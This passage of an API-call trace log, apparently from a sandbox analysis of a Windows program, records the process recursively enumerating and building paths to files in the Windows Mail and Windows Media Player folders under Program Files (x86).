lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wabimp.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll" [0123.860] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll") returned 46 [0123.860] lstrcpyW (in: lpString1=0x24b7b78, lpString2="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll") returned="c:\\Program Files (x86)\\Windows Mail\\wabimp.dll" [0123.860] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.860] lstrcmpW (lpString1="wabmig.exe", lpString2=".") returned 1 [0123.860] lstrcmpW (lpString1="wabmig.exe", lpString2="..") returned 1 [0123.860] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0123.860] lstrlenW (lpString="wabmig.exe") returned 10 [0123.860] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="wabmig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe" [0123.860] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe") returned 46 [0123.860] lstrcpyW (in: lpString1=0x24b7be0, lpString2="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe") returned="c:\\Program Files (x86)\\Windows Mail\\wabmig.exe" [0123.860] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.860] lstrcmpW (lpString1="WinMail.exe", lpString2=".") returned 1 [0123.860] lstrcmpW (lpString1="WinMail.exe", lpString2="..") returned 1 [0123.860] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\") returned 36 [0123.860] lstrlenW (lpString="WinMail.exe") returned 11 [0123.860] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Mail\\", lpString2="WinMail.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe") returned="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe" [0123.860] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe") returned 47 [0123.860] lstrcpyW (in: lpString1=0x24b7c48, lpString2="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe") returned="c:\\Program Files (x86)\\Windows Mail\\WinMail.exe" [0123.860] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.860] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.860] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.860] lstrcmpW (lpString1="Windows Media Player", lpString2=".") returned 1 [0123.860] lstrcmpW (lpString1="Windows Media Player", lpString2="..") returned 1 [0123.860] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0123.860] lstrlenW (lpString="Windows Media Player") returned 20 [0123.860] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Media Player" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player") returned="c:\\Program Files (x86)\\Windows Media Player" [0123.860] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\") returned="c:\\Program Files (x86)\\Windows Media Player\\" [0123.860] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0123.860] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\*" [0123.860] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.860] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.860] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.861] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.861] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.861] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.861] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0123.861] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0123.861] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0123.861] lstrlenW (lpString="en-US") returned 5 [0123.861] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US" [0123.861] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\" [0123.861] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0123.861] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\*" [0123.861] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\en-US\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.861] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.861] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.861] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.861] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.861] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.861] lstrcmpW (lpString1="mpvis.dll.mui", lpString2=".") returned 1 [0123.861] lstrcmpW (lpString1="mpvis.dll.mui", lpString2="..") returned 1 [0123.861] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0123.861] lstrlenW (lpString="mpvis.dll.mui") returned 13 [0123.861] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="mpvis.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui" [0123.861] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui") returned 63 [0123.861] lstrcpyW (in: lpString1=0x24b24b8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\mpvis.dll.mui" [0123.861] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.861] lstrcmpW (lpString1="setup_wm.exe.mui", lpString2=".") returned 1 [0123.861] lstrcmpW (lpString1="setup_wm.exe.mui", lpString2="..") returned 1 [0123.861] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0123.862] lstrlenW (lpString="setup_wm.exe.mui") returned 16 [0123.862] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="setup_wm.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui" [0123.862] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui") returned 66 [0123.862] lstrcpyW (in: lpString1=0x24b7cb0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\setup_wm.exe.mui" [0123.862] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.862] lstrcmpW (lpString1="wmlaunch.exe.mui", lpString2=".") returned 1 [0123.862] lstrcmpW (lpString1="wmlaunch.exe.mui", lpString2="..") returned 1 [0123.862] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0123.862] lstrlenW (lpString="wmlaunch.exe.mui") returned 16 [0123.862] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmlaunch.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui" [0123.862] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui") returned 66 [0123.862] lstrcpyW (in: lpString1=0x24b7d40, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmlaunch.exe.mui" [0123.862] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.862] lstrcmpW (lpString1="WMPDMC.exe.mui", lpString2=".") returned 1 [0123.862] lstrcmpW (lpString1="WMPDMC.exe.mui", lpString2="..") returned 1 [0123.862] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0123.862] lstrlenW (lpString="WMPDMC.exe.mui") returned 14 [0123.862] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="WMPDMC.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui" [0123.862] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui") returned 64 [0123.862] lstrcpyW (in: lpString1=0x24b7dd0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMC.exe.mui" [0123.862] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.862] lstrcmpW (lpString1="WMPDMCCore.dll.mui", lpString2=".") returned 1 [0123.862] lstrcmpW (lpString1="WMPDMCCore.dll.mui", lpString2="..") returned 1 [0123.862] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0123.862] lstrlenW (lpString="WMPDMCCore.dll.mui") returned 18 [0123.862] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="WMPDMCCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" [0123.862] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui") returned 68 [0123.862] lstrcpyW (in: lpString1=0x24b7e60, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" [0123.862] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.862] lstrcmpW (lpString1="wmplayer.exe.mui", lpString2=".") returned 1 [0123.862] lstrcmpW (lpString1="wmplayer.exe.mui", lpString2="..") returned 1 [0123.862] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0123.862] lstrlenW (lpString="wmplayer.exe.mui") returned 16 [0123.862] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmplayer.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui" [0123.862] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui") returned 66 [0123.862] lstrcpyW (in: lpString1=0x24b7ef8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmplayer.exe.mui" [0123.862] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.862] lstrcmpW (lpString1="WMPMediaSharing.dll.mui", lpString2=".") returned 1 [0123.862] lstrcmpW (lpString1="WMPMediaSharing.dll.mui", lpString2="..") returned 1 [0123.862] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0123.862] lstrlenW (lpString="WMPMediaSharing.dll.mui") returned 23 [0123.862] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="WMPMediaSharing.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" [0123.862] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui") returned 73 [0123.862] lstrcpyW (in: lpString1=0x24b7f88, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui" [0123.862] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.862] lstrcmpW (lpString1="wmpnssci.dll.mui", lpString2=".") returned 1 [0123.862] lstrcmpW (lpString1="wmpnssci.dll.mui", lpString2="..") returned 1 [0123.862] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0123.863] lstrlenW (lpString="wmpnssci.dll.mui") returned 16 [0123.863] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmpnssci.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui" [0123.863] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui") returned 66 [0123.863] lstrcpyW (in: lpString1=0x24b8028, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssci.dll.mui" [0123.863] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.863] lstrcmpW (lpString1="wmpnssui.dll.mui", lpString2=".") returned 1 [0123.863] lstrcmpW (lpString1="wmpnssui.dll.mui", lpString2="..") returned 1 [0123.863] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\") returned 50 [0123.863] lstrlenW (lpString="wmpnssui.dll.mui") returned 16 [0123.863] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\", lpString2="wmpnssui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui" [0123.863] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui") returned 66 [0123.863] lstrcpyW (in: lpString1=0x24b80b8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui") returned="c:\\Program Files (x86)\\Windows Media Player\\en-US\\wmpnssui.dll.mui" [0123.863] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.863] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.863] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.863] lstrcmpW (lpString1="Icons", lpString2=".") returned 1 [0123.863] lstrcmpW (lpString1="Icons", lpString2="..") returned 1 [0123.863] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0123.863] lstrlenW (lpString="Icons") returned 5 [0123.863] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Icons" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons") returned="c:\\Program Files (x86)\\Windows Media Player\\Icons" [0123.863] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Icons\\" [0123.863] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Icons\\") returned 50 [0123.863] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Icons\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Icons\\*" [0123.863] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Icons\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.863] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.863] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.864] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.864] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.864] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.864] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.864] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.864] lstrcmpW (lpString1="Media Renderer", lpString2=".") returned 1 [0123.864] lstrcmpW (lpString1="Media Renderer", lpString2="..") returned 1 [0123.864] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0123.864] lstrlenW (lpString="Media Renderer") returned 14 [0123.864] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="Media Renderer" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer" [0123.864] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\" [0123.864] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0123.864] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*" [0123.864] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.865] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.865] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.865] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.865] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.865] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.865] lstrcmpW (lpString1="avtransport.xml", lpString2=".") returned 1 [0123.865] lstrcmpW (lpString1="avtransport.xml", lpString2="..") returned 1 [0123.865] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0123.865] lstrlenW (lpString="avtransport.xml") returned 15 [0123.865] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="avtransport.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" [0123.865] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml") returned 74 [0123.865] lstrcpyW (in: lpString1=0x24b8148, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" [0123.865] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.865] lstrcmpW (lpString1="connectionmanager_dmr.xml", lpString2=".") returned 1 [0123.865] lstrcmpW (lpString1="connectionmanager_dmr.xml", lpString2="..") returned 1 [0123.865] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0123.865] lstrlenW (lpString="connectionmanager_dmr.xml") returned 25 [0123.865] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="connectionmanager_dmr.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" [0123.865] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned 84 [0123.865] lstrcpyW (in: lpString1=0x24b81e8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" [0123.865] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.865] lstrcmpW (lpString1="DMR_120.jpg", lpString2=".") returned 1 [0123.865] lstrcmpW (lpString1="DMR_120.jpg", lpString2="..") returned 1 [0123.865] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0123.865] lstrlenW (lpString="DMR_120.jpg") returned 11 [0123.865] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_120.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" [0123.865] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned 70 [0123.865] lstrcpyW (in: lpString1=0x24b82a0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" [0123.865] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.865] lstrcmpW (lpString1="DMR_120.png", lpString2=".") returned 1 [0123.865] lstrcmpW (lpString1="DMR_120.png", lpString2="..") returned 1 [0123.865] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0123.865] lstrlenW (lpString="DMR_120.png") returned 11 [0123.865] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_120.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" [0123.865] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned 70 [0123.865] lstrcpyW (in: lpString1=0x24b8338, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" [0123.865] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.865] lstrcmpW (lpString1="DMR_48.jpg", lpString2=".") returned 1 [0123.865] lstrcmpW (lpString1="DMR_48.jpg", lpString2="..") returned 1 [0123.865] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0123.865] lstrlenW (lpString="DMR_48.jpg") returned 10 [0123.865] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_48.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" [0123.865] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned 69 [0123.865] lstrcpyW (in: lpString1=0x24b83d0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" [0123.865] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.865] lstrcmpW (lpString1="DMR_48.png", lpString2=".") returned 1 [0123.866] lstrcmpW (lpString1="DMR_48.png", lpString2="..") returned 1 [0123.866] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0123.866] lstrlenW (lpString="DMR_48.png") returned 10 [0123.866] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\", lpString2="DMR_48.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" [0123.866] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned 69 [0123.866] lstrcpyW (in: lpString1=0x24b8468, lpString2="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" [0123.866] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.866] lstrcmpW (lpString1="RenderingControl.xml", lpString2=".") returned 1 [0123.866] lstrcmpW (lpString1="RenderingControl.xml", lpString2="..") returned 1 [0123.866] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\") returned 59 [0123.866] lstrlenW (lpString="RenderingControl.xml") returned 20 [0123.866] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\Media 